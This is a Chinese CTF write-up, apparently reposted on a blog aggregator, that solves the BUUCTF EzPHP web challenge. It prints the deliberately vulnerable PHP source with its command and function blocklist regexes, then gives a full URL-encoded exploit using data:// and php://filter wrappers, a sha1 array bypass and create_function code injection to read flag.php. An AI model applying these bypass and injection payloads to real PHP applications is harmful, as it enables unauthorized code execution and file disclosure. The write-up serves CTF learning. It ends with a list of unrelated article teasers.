96,【4】 buuctf web [BJDCTF2020]EzPHP

进入靶场

查看源代码

 

GFXEIM3YFZYGQ4A= 

一看就是编码后的

1nD3x.php

访问

得到源代码

<?php
// 高亮显示当前 PHP 文件的源代码,用于调试或展示代码结构
highlight_file(__FILE__);
// 关闭所有 PHP 错误报告,防止错误信息泄露可能的安全漏洞
error_reporting(0); // 初始化变量 $file,默认值为 "1nD3x.php"
$file = "1nD3x.php";
// 从 GET 请求中获取名为 'shana' 的参数值
$shana = $_GET['shana'];
// 从 GET 请求中获取名为 'passwd' 的参数值
$passwd = $_GET['passwd'];
// 初始化变量 $arg,用于后续存储参数,初始为空字符串
$arg = '';
// 初始化变量 $code,用于后续存储代码,初始为空字符串
$code = '';// 输出提示信息,告知用户这是一个简单挑战,解决后会给出 flag
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";// 检查 $_SERVER 数组是否存在
if($_SERVER) { // 使用正则表达式检查 $_SERVER['QUERY_STRING'] 是否包含危险关键字// 这些关键字可能被用于执行危险操作,如代码注入、命令执行等if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  // 如果包含危险关键字,终止程序并输出警告信息die('You seem to want to do something bad?'); 
}// 检查从 GET 请求中获取的 'file' 参数是否不包含 'http' 或 'https'
if (!preg_match('/http|https/i', $_GET['file'])) {// 检查 'debu' 参数是否匹配正则表达式 '^aqua_is_cute$' 且不等于 'aqua_is_cute'// 这里是一个矛盾条件,正常情况下不会满足if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { // 如果满足条件,将 'file' 参数的值赋给 $file 变量$file = $_GET["file"]; // 输出提示信息,表示用户完成了一个步骤echo "Neeeeee! Good Job!<br>";} 
} else {// 如果 'file' 参数包含 'http' 或 'https',终止程序并输出警告信息die('fxck you! What do you want to do ?!');
}// 检查 $_REQUEST 数组是否存在
if($_REQUEST) { // 遍历 $_REQUEST 数组中的每个值foreach($_REQUEST as $value) { // 使用正则表达式检查值是否包含英文字母if(preg_match('/[a-zA-Z]/i', $value))  // 如果包含英文字母,终止程序并输出警告信息die('fxck you! I hate English!'); } 
} // 读取 $file 文件的内容,并检查是否等于 'debu_debu_aqua'
if (file_get_contents($file) !== 'debu_debu_aqua')// 如果不相等,终止程序并输出提示信息die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");// 检查 $shana 和 $passwd 的 SHA-1 哈希值是否相等,但 $shana 和 $passwd 本身不相等
// 这是利用了 SHA-1 哈希函数对某些特殊输入可能产生相同哈希值的特性
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){// 如果满足条件,从 GET 请求的 'flag' 参数中提取变量extract($_GET["flag"]);// 输出提示信息,表示用户通过了密码验证echo "Very good! you know my password. But what is flag?<br>";
} else{// 如果不满足条件,终止程序并输出警告信息die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}// 检查 $code 是否只包含小写字母和数字,或者 $arg 是否包含危险关键字
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { // 如果满足条件,终止程序并输出提示信息,表示危险函数已被禁用die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { // 如果不满足条件,包含 'flag.php' 文件include "flag.php";// 调用 $code 变量作为函数,并传入空字符串和 $arg 作为参数$code('', $arg); 
}
?>

总结:我们需要传参(shana password)

绕过正则表达式检查 $_SERVER['QUERY_STRING'] 

'file' 参数不包含 'http' 或 'https' 

 'debu' 参数匹配正则表达式 '^aqua_is_cute$' 且不等于 'aqua_is_cute'   

$_REQUEST 不能包含英文字母

 $file 文件的内容要等于 'debu_debu_aqua'

$shana 和 $passwd 的 SHA-1 哈希值相等,但 $shana 和 $passwd 本身不相等

$code 只包含小写字母和数字,或者 $arg 不包含危险关键字

payload

 /1nD3x.php?file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
;//

post传参 file=1&debu=1

flag就在这里,你能拿到它吗?PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFne2ZlODYwNzNlLTNhZjktNGNiZC1hNTNiLTMxNGI1OWRhOGI4Nn0iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo= 

flag{fe86073e-3af9-4cbd-a53b-314b59da8b86} 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/67762.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于深度学习的输电线路缺陷检测算法研究(论文+源码)

输电线路关键部件的缺陷检测对于电网安全运行至关重要&#xff0c;传统方法存在效率低、准确性不高等问题。本研究探讨了利用深度学习技术进行输电线路关键组件的缺陷检测&#xff0c;目的是提升检测的效率与准确度。选用了YOLOv8模型作为基础&#xff0c;并通过加入CA注意力机…

3、从langchain到rag

文章目录 本文介绍向量和向量数据库向量向量数据库 索引开始动手实现rag加载文档数据并建立索引将向量存放到向量数据库中检索生成构成一条链 本文介绍 从本节开始&#xff0c;有了上一节的langchain基础学习&#xff0c;接下来使用langchain实现一个rag应用&#xff0c;并稍微…

DeepSeek-R1大模型本地化部署

前言 Ollama作为一个轻量级、易上手的工具&#xff0c;可以帮助你在自己的电脑上快速部署和运行大型语言模型&#xff0c;无需依赖云端服务。通过加载各种开源模型&#xff0c;比如LLaMA、GPT-J等&#xff0c;并通过简单的命令行操作进行模型推理和测试。 此小结主要介绍使用…

【高级篇 / IPv6】(7.6) ❀ 03. 宽带IPv6 - ADSL拨号宽带上网配置 ❀ FortiGate 防火墙

【简介】大部分ADSL拨号宽带都支持IPv6&#xff0c;这里以ADSL拨号宽带为例&#xff0c;演示在FortiGate防火墙上的配置方法。 准备工作 同上篇文章一样&#xff0c;为了兼顾不熟悉FortiGate防火墙的朋友&#xff0c;我们从基础操作进行演示&#xff0c;熟练的朋友可以跳过这一…

Linux第104步_基于AP3216C之I2C实验

Linux之I2C实验是在AP3216C的基础上实现的&#xff0c;进一步熟悉修改设备树和编译设备树&#xff0c;以及学习如何编写I2C驱动和APP测试程序。 1、AP3216C的原理图 AP3216C集成了一个光强传感器ALS&#xff0c;一个接近传感器PS和一个红外LED&#xff0c;为三合一的环境传感…

基于单片机的盲人智能水杯系统(论文+源码)

1 总体方案设计 本次基于单片机的盲人智能水杯设计&#xff0c;采用的是DS18B20实现杯中水温的检测&#xff0c;采用HX711及应力片实现杯中水里的检测&#xff0c;采用DS1302实现时钟计时功能&#xff0c;采用TTS语音模块实现语音播报的功能&#xff0c;并结合STC89C52单片机作…

高清种子资源获取指南 | ✈️@seedlinkbot

在如今的数字时代&#xff0c;高清影视、音乐、游戏等资源的获取方式不断丰富。对于追求高质量资源的用户而言&#xff0c;一个高效的资源分享平台至关重要。而 ✈️seedlinkbot 正是这样一个便捷的资源获取工具&#xff0c;为用户提供高质量的种子资源索引和下载信息。 1. ✈️…

Spring Boot项目如何使用MyBatis实现分页查询

写在前面&#xff1a;大家好&#xff01;我是晴空๓。如果博客中有不足或者的错误的地方欢迎在评论区或者私信我指正&#xff0c;感谢大家的不吝赐教。我的唯一博客更新地址是&#xff1a;https://ac-fun.blog.csdn.net/。非常感谢大家的支持。一起加油&#xff0c;冲鸭&#x…

【论文笔记】Fast3R:前向并行muti-view重建方法

众所周知&#xff0c;DUSt3R只适合做稀疏视角重建&#xff0c;与sapnn3r的目的类似&#xff0c;这篇文章以并行的方法&#xff0c;扩展了DUSt3R在多视图重建中的能力。 abstract 多视角三维重建仍然是计算机视觉领域的核心挑战&#xff0c;尤其是在需要跨不同视角实现精确且可…

本地部署DeepSeek教程(Mac版本)

第一步、下载 Ollama 官网地址&#xff1a;Ollama 点击 Download 下载 我这里是 macOS 环境 以 macOS 环境为主 下载完成后是一个压缩包&#xff0c;双击解压之后移到应用程序&#xff1a; 打开后会提示你到命令行中运行一下命令&#xff0c;附上截图&#xff1a; 若遇…

微机原理与接口技术期末大作业——4位抢答器仿真

在微机原理与接口技术的学习旅程中&#xff0c;期末大作业成为了检验知识掌握程度与实践能力的关键环节。本次我选择设计并仿真一个 4 位抢答器系统&#xff0c;通过这个项目&#xff0c;深入探索 8086CPU 及其接口技术的实际应用。附完整压缩包下载。 一、系统设计思路 &…

【Redis】Redis 经典面试题解析:深入理解 Redis 的核心概念与应用

Redis 是一个高性能的键值存储系统&#xff0c;广泛应用于缓存、消息队列、排行榜等场景。在面试中&#xff0c;Redis 是一个高频话题&#xff0c;尤其是其核心概念、数据结构、持久化机制和高可用性方案。 1. Redis 是什么&#xff1f;它的主要特点是什么&#xff1f; 答案&a…

昆仑万维Java开发面试题及参考答案

进程和线程的区别是什么? 进程和线程都是操作系统中非常重要的概念,它们在多个方面存在显著的区别。 从定义上看,进程是操作系统进行资源分配和调度的基本单位。每个进程都有自己独立的内存空间,包括代码段、数据段、堆栈段等。例如,当你在电脑上同时打开浏览器和音乐播放…

Visual Studio Code应用本地部署的deepseek

1.打开Visual Studio Code&#xff0c;在插件中搜索continue&#xff0c;安装插件。 2.添加新的大语言模型&#xff0c;我们选择ollama. 3.直接点connect&#xff0c;会链接本地下载好的deepseek模型。 参看上篇文章&#xff1a;deepseek本地部署-CSDN博客 4.输入需求生成可用…

SpringBoot 整合 Mybatis:注解版

第一章&#xff1a;注解版 导入配置&#xff1a; <groupId>org.mybatis.spring.boot</groupId><artifactId>mybatis-spring-boot-starter</artifactId><version>1.3.1</version> </dependency> 步骤&#xff1a; 配置数据源见 Druid…

2025年最新在线模型转换工具优化模型ncnn,mnn,tengine,onnx

文章目录 引言最新网址地点一、模型转换1. 框架转换全景图2. 安全的模型转换3. 网站全景图 二、转换说明三、模型转换流程图四、感谢 引言 在yolov5&#xff0c;yolov8&#xff0c;yolov11等等模型转换的领域中&#xff0c;时间成本常常是开发者头疼的问题。最近发现一个超棒的…

理解知识蒸馏中的散度损失函数(KLDivergence/kldivloss )-以DeepSeek为例

1. 知识蒸馏简介 什么是知识蒸馏&#xff1f; 知识蒸馏&#xff08;Knowledge Distillation&#xff09;是一种模型压缩技术&#xff0c;目标是让一个较小的模型&#xff08;学生模型&#xff0c;Student Model&#xff09;学习一个较大、性能更优的模型&#xff08;教师模型…

Electron使用WebAassembly实现CRC-8 MAXIM校验

Electron使用WebAssembly实现CRC-8 MAXIM校验 将C/C语言代码&#xff0c;经由WebAssembly编译为库函数&#xff0c;可以在JS语言环境进行调用。这里介绍在Electron工具环境使用WebAssembly调用CRC-8 MAXIM格式校验的方式。 CRC-8 MAXIM校验函数WebAssebly源文件 C语言实现CR…

Vue3.0实战:大数据平台可视化

文章目录 创建vue3.0项目项目初始化项目分辨率响应式设置项目顶部信息条创建页面主体创建全局引入echarts和axios后台接口创建express销售总量图实现完整项目下载项目任何问题都可在评论区,或者直接私信即可。 创建vue3.0项目 创建项目: vue create vueecharts选择第三项:…

vector容器(详解)

本文最后是模拟实现全部讲解&#xff0c;文章穿插有彩色字体&#xff0c;是我总结的技巧和关键 1.vector的介绍及使用 1.1 vector的介绍 https://cplusplus.com/reference/vector/vector/&#xff08;vector的介绍&#xff09; 了解 1. vector是表示可变大小数组的序列容器。…